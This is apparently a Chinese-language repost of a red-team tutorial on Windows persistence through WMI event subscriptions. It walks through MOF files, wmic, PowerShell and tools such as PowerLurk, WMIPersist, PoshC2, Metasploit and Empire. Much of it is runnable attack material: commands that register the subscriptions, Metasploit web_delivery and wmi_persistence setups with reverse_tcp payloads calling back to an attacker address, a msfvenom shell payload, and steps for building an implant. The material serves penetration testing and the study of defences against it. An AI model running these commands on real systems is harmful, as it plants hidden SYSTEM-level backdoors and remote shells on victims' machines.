Windows Management Instrumentation (WMI) 使系统管理员能够在本地和远程执行任务。从红队的角度来看,WMI 可用于执行多种活动,例如横向移动、持久性、态势感知、代码执行以及作为命令和控制(C2)。WMI 是几乎所有 Windows 操作系统(Windows 98-Windows 10)中都存在的 Windows 的一部分,这一事实使这些攻击性活动远离蓝队的雷达。
通常,通过 WMI 事件订阅的持久性需要创建以下三个类,它们用于存储有效负载或任意命令,指定将触发有效负载的事件并将两个类(__EventConsumer &__EventFilter)关联起来,以便执行和触发绑定一起。
- __EventFilter // 触发器(新进程、登录失败等)
- EventConsumer // 执行动作(执行有效载荷等)
- __FilterToConsumerBinding // 绑定过滤器和消费者类
这种技术的实现不需要任何工具包,因为 Windows 有一个可以与 WMI (wmic) 交互的实用程序,并且也可以利用 PowerShell。然而,各种框架,如 Metasploit、Empire、PoshC2、PowerSploit 和多个 PowerShell 脚本和 C# 工具可用于自动化此技术,为代码执行提供不同的触发器和各种选项。应该注意的是,WMI 事件作为 SYSTEM 运行,在重新启动后持续存在,并且需要管理员级别的权限才能使用此技术。
OF
托管对象格式 (MOF) 是用于描述 CIM(通用信息模型)类的语言。MOF 文件通常包含语句。编译文件时添加到 WMI 存储库 (OBJECTS.DATA) 的类和类实例(mofcomp.exe 可以编译 MOF 文件,它是 Windows 的一部分)。MOF 文件的内容如下所示:
代码语言:javascript复制#PRAGMA NAMESPACE ("////.//root//subscription")
instance of CommandLineEventConsumer as $Cons
{
``Name = "Pentestlab";
``RunInteractively=false;
``CommandLineTemplate="cmd.exe";
};
instance of __EventFilter as $Filt
{
``Name = "Pentestlab";
``EventNamespace = "root//subscription";
``Query ="SELECT * FROM __InstanceCreationEvent Within 3"
``"Where TargetInstance Isa /"Win32_Process/" "
``"And Targetinstance.Name = /"notepad.exe/" ";
``QueryLanguage = "WQL";
};
instance of __FilterToConsumerBinding
{
``Filter = $Filt;
``Consumer = $Cons;
};
上面的 MOF 文件会在系统上创建 notepad.exe 进程时执行 cmd.exe。MOF 文件可以通过执行以下命令部署到 WMI 存储库中:
代码语言:javascript复制mofcomp.exe ./wmi.mof
image-20220328200653939
或者,Metasploit 框架还具有生成恶意 MOF 文件的能力。从交互式 ruby 控制台执行以下命令将生成 MOF。
代码语言:javascript复制irb
puts generate_mof("Metasploit1","Metasploit2")
Microsoft 实用程序“ mofcomp.exe/ ”可以编译 MOF 文件。该文件将自动存储在 WMI 存储库中,并且恶意负载/命令将自动执行。
mofcomp.exe ./Metasploit.mof
在这种情况下,payload 是通过 Metasploit “ web_delivery/ ”模块使用 regsvr32 方法远程获取的。编译 MOF 文件后,立即生成了一个 Meterpreter 会话。
尽管一些 APT 的小组使用 MOF 文件作为 dropper 以实现 WMI 的持久性,但不建议将其作为一种方法。通过 WMI 事件订阅的持久性可以通过使用常见的 Microsoft 实用程序来实现,因此无需将文件放入磁盘。
Command Prompt
由于所有 Windows 操作系统都包含命令行实用程序 (wmic),因此可以通过命令提示符执行与 WMI 的交互。执行以下命令将在“ root/subscription ”的名称空间中创建三个事件。每次 Windows 启动时,任意有效负载将在 60 秒内执行。
每次重启后,可执行文件将在 60 秒内返回 Meterpreter 会话。
代码语言:javascript复制wmic /NAMESPACE:"//root/subscription" PATH __EventFilter CREATE Name="PentestLab", EventNameSpace="root/cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
wmic /NAMESPACE:"//root/subscription" PATH CommandLineEventConsumer CREATE Name="PentestLab", ExecutablePath="C:/Windows/System32/pentestlab.exe",CommandLineTemplate="C:/Windows/System32/pentestlab.exe"
wmic /NAMESPACE:"//root/subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=/"PentestLab/"", Consumer="CommandLineEvent
每次重启后,可执行文件将在 60 秒内返回 Meterpreter 会话。
PowerShell
PowerShell 包含可以查询 WMI 对象并将信息检索回控制台的 cmdlet。以下命令可用于验证是否已创建任意事件以及恶意负载/命令是否存储在 WMI 存储库中。
代码语言:javascript复制Get-WMIObject` `-Namespace` `root/Subscription` `-Class` `__EventFilter
Get-WMIObject` `-Namespace` `root/Subscription` `-Class` `__FilterToConsumerBinding
Get-WMIObject` `-Namespace` `root/Subscription` `-Class` `__EventConsumer
也可以通过 PowerShell 直接实现此技术。以下脚本块将在每次 Windows 启动后的 5 分钟内执行任意可执行文件“ pentestlab.exe ”。/
代码语言:javascript复制$FilterArgs` `= @{name=``'Pentestlab-WMI'``;
``EventNameSpace=``'root/CimV2'``;
``QueryLanguage=``"WQL"``;
``Query=``"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"``};
$Filter``=``New-CimInstance` `-Namespace` `root/subscription` `-ClassName` `__EventFilter` `-Property` `$FilterArgs
代码语言:javascript复制$ConsumerArgs` `= @{name=``'Pentestlab-WMI'``;
``CommandLineTemplate=``"$($Env:SystemRoot)/System32/pentestlab.exe"``;}
$Consumer``=``New-CimInstance` `-Namespace` `root/subscription` `-ClassName` `CommandLineEventConsumer` `-Property` `$ConsumerArgs
代码语言:javascript复制$FilterToConsumerArgs` `= @{
Filter` `= ``[Ref]` `$Filter``;
Consumer = ``[Ref]` `$Consumer``;
}
$FilterToConsumerBinding` `= ``New-CimInstance` `-Namespace` `root/subscription` `-ClassName` `__FilterToConsumerBinding` `-Prope
可以执行以下命令来执行清理并删除创建的 WMI 对象。
代码语言:javascript复制$EventConsumerToCleanup = Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer -Filter "Name = 'Pentestlab-WMI'"
$EventFilterToCleanup = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter "Name = 'Pentestlab-WMI'"
$FilterConsumerBindingToCleanup = Get-WmiObject -Namespace root/subscription -Query "REFERENCES OF {$($EventConsumerToCleanup.__RELPATH)} WHERE
代码语言:javascript复制$FilterConsumerBindingToCleanup | Remove-WmiObject
$EventConsumerToCleanup | Remove-WmiObject
$EventFilterToCleanup | Remove-WmiObject
PowerPunch是 PowerShell 脚本的集合,其中包含用于通过 WMI 进行持久性的 PowerShell 脚本。然而,该脚本需要将Invoke-MetasploitPayload加载到内存中,并且负载将从远程位置下载。可以配置Metasploit 框架“ web_delivery ”模块来托管基于 PowerShell 的有效负载。
代码语言:javascript复制use exploit/multi/script/web_delivery
set SRVHOST 0.0.0.0
set SRVPORT 8443
set SSL true
set target 2
set URIPATH pentestlab
set payload windows/x64/meterpreter/reverse_tcp
set LPORT 8888
set LHOST 10.0.0.1
run -j
以下命令将注册 WMI 事件订阅,并将存储将在启动期间执行的命令,以创建无文件持久性。
代码语言:javascript复制Import-Module ./Invoke-MetasploitPayload.ps1
Import-Module ./New-WMIPersistence.ps1
New-WMIPersistence -Name Pentestlab -OnStartup -Command "C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe" -Arguments "-Command In
有效负载将在启动期间传递到目标主机上。
Wmi -Persistence是一个简单的 PowerShell 脚本,支持以下触发器:启动、登录、间隔和定时。它包含三个功能,用于安装、查看和删除已创建的 WMI 事件。
代码语言:javascript复制Install-Persistence` `-Trigger` `Startup` `-Payload` `"c:/windows/system32/pentestlab.exe"
“***启动/***”触发器默认会在启动后五分钟内执行任意有效载荷。
WMI-Persistence是另一个 PowerShell 脚本,它可以创建事件过滤器,在每次重新启动后 5 分钟内从远程位置执行基于 PowerShell 的有效负载。
代码语言:javascript复制Import-Module ./WMI-Persistence.ps1
Install-Persistence
该脚本包含一个查看 WMI 对象的函数,以确保已正确创建任意类。
Check-WMI
下次重新启动 5 分钟后,有效负载将被传递,并且将与目标主机建立 Meterpreter 会话。
Rahmat Nurfauzi开发了一个 PowerShell 脚本 ( WMI-Persistence ),它默认使用regsvr32方法执行任意命令,以便从远程服务器运行任意脚本。
./WMI-Persistence
“ Get-WMIObject ” cmdlet 将确保已创建事件过滤器,因为脚本不提供任何控制台输出。
代码语言:javascript复制Get-WMIObject -Namespace root/Subscription -Class __EventFilter
Metasploit 框架可用于托管 scriptlet 并获取会话。然而,其他命令和控制框架(例如 PoshC2)具有类似的功能,并且可以捕获 regsvr32 有效负载。
PowerLurk是另一个支持五个触发器的 PowerShell 脚本。它们是:InsertUSB、UserLogon、Timed、Interval和ProcessStart。该脚本使用 WMI 存储库来存储恶意命令,该命令将执行任意脚本、可执行文件或任何其他带有参数的命令。以下函数将检索所有活动的 WMI 事件对象。
Get-WmiEvent
执行以下命令将创建一个任意事件订阅,该订阅将在 Windows 登录期间永久执行恶意负载。
Register-MaliciousWmiEvent -EventName Logonlog -PermanentCommand "pentestlab.exe" -Trigger UserLogon -Username any
C#
Dominic Chell开发了一个名为WMIPersist的 C# 工具,它可以直接用作受感染主机上的可执行文件或通过 Cobalt Strike 使用。该工具将注册一个事件,该事件将在系统上创建目标进程时执行 base64 VBS 有效负载。
Metasploit 实用程序“ msfvenom ”可以生成所需的有效负载,但也可以使用 任何其他工具,例如unicorn 。
msfvenom -p windows/x64/meterpreter/reverse_tcp -f raw -o payload64.bin LHOST=10.0.0.1 LPORT=4444
SharpShooter可用于通过使用先前生成的 shellcode 原始文件生成 VBS 格式的无阶段负载。
代码语言:javascript复制python SharpShooter.py --stageless --dotnetver 2 --payload vbs --output implantvbs --rawscfile payload64.bin
base64 -i output/implantvbs.vbs > /home/pentestlab.txt
有效负载可以嵌入到 WMIPersist 工具中,并且 csc.exe 实用程序(.NET 框架的一部分)可以编译源代码,以便将其转换为可执行文件。
代码语言:javascript复制csc.exe WMIPersist.cs /r:System.Management.Automation.dll
在目标主机上运行可执行文件或通过 Cobalt Strike(execute-assembly选项)将创建事件过滤器、事件使用者和订阅。
从 PowerShell 控制台执行以下命令将验证有效负载是否存储在“ __EventConsumer** ”中并且“ **__EventFilter ”已创建。
代码语言:javascript复制Get-WMIObject -Namespace root/Subscription -Class __EventFilter
Get-WMIObject -Namespace root/Subscription -Class __EventConsumer
当 notepad.exe 进程启动时,payload 将被执行并打开通信通道。默认情况下,此工具使用记事本,这是一个常见的 Windows 应用程序,但可以修改代码以针对任何其他常见进程,例如 word.exe、outlook.exe、excel.exe、calc.exe,具体取决于从主机收集的信息在态势感知期间。Metasploit 模块“ multi/handler ”或任何其他 C2 可用于捕获会话。
PoshC2
PoshC2是一个基于 PowerShell 的命令和控制框架,但支持 C# 植入和模块,以在红队参与期间规避 EDR 产品。有一个 PowerShell 模块可以通过在特定时间执行基于 64 编码的有效负载,在目标主机上部署 WMI 事件订阅的持久性技术。
Invoke-wmievent -Name Posh -Command "powershell -enc <payload>" -Hour 21 -Minute 11
当命令执行时,将创建 WMI 事件,并自动将修改的 WMI 对象的结果返回到控制台屏幕上以供验证。
新植入物将在设置时连接回 C2 服务器。
Metasploit
Metasploit 框架包含一个通过 WMI 在目标系统上执行持久性的模块。该模块支持不同的选项,可用于触发要在系统上执行的任意有效负载。默认情况下,配置为在系统上创建特定事件 ID (4625) 时执行有效负载。支持的其他选项包括在登录期间、创建特定进程后、特定时间段后等执行有效负载。
代码语言:javascript复制use exploit/windows/local/wmi_persistence
set SESSION 1
set CALLBACK_INTERVAL 60000
set USERNAME_TRIGGER pentestlab
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 10.0.0.1
set LPORT 4444
exploit
该模块将提供所需的命令,该命令可用于使用错误密码通过 SMB 登录主机,以生成指定的失败登录请求。当命令执行时,将生成失败的登录事件,该事件将触发有效负载并打开一个 Meterpreter 会话。
smbclient ////10.0.0.2//C$ -U pentestlab password
在 vanilla Windows 10 版本中,系统会记录登录/注销期间的成功和失败尝试。
代码语言:javascript复制auditpol /get /subcategory:Logon
Empire
PowerShell Empire 有两个模块可以在 WMI 上建立持久性。以下模块可以在特定的每日时间、登录失败期间和启动时 5 分钟内执行有效负载。
代码语言:javascript复制usemodule persistence/elevated/wmi
set Listener WMI
set SubName Empire
set FailedLogon True
execute
i
与 Metasploit 模块类似,当使用“ FailedLogon ”选项时,可以使用失败的 SMB 连接来触发基于 PowerShell 的植入。默认情况下,此选项会将两个连接返回到命令和控制服务器。
“ wmi_updater ” 模块能够从远程位置获取有效负载,而不是将其存储在 WMI 存储库中。它将注册为“ AutoUpdater ”,并且可以在启动时或一天中的特定时间设置触发器。
代码语言:javascript复制usemodule persistence/elevated/wmi_updater*
工具包
下表显示了红队可以使用的工具,以实现 WMI 事件订阅的持久性技术以及每个工具的可用触发器选项。
Metasploit | Ruby | Failed Logon, Process, Startup, Timed |
---|---|---|
Empire | PowerShell | Failed Logon, Startup, Timed |
SharpSploit | C# | Process |
WMIPersist | C# | Process |
PoshC2 | Python3 | Timed |
PowerPunch | PowerShell | Logon, Startup |
Wmi-Persistence | PowerShell | Logon, Startup, Interval, Timed |
PowerLurk | PowerShell | USB, Logon, Process, Interval, Timed |
WMI-Persistence | PowerShell | Up-time |
WMILogonBackdoor | PowerShell | Timed, Interval |
WMIBackdoor | PowerShell | Timed, Interval |
WMI-Persistence | PowerShell | Timed |
参考:https://pentestlab.blog/2020/01/21/persistence-wmi-event-subscription/
END
原文链接:
https://txluck.github.io/2022/03/28/持久性-WMI事件订阅/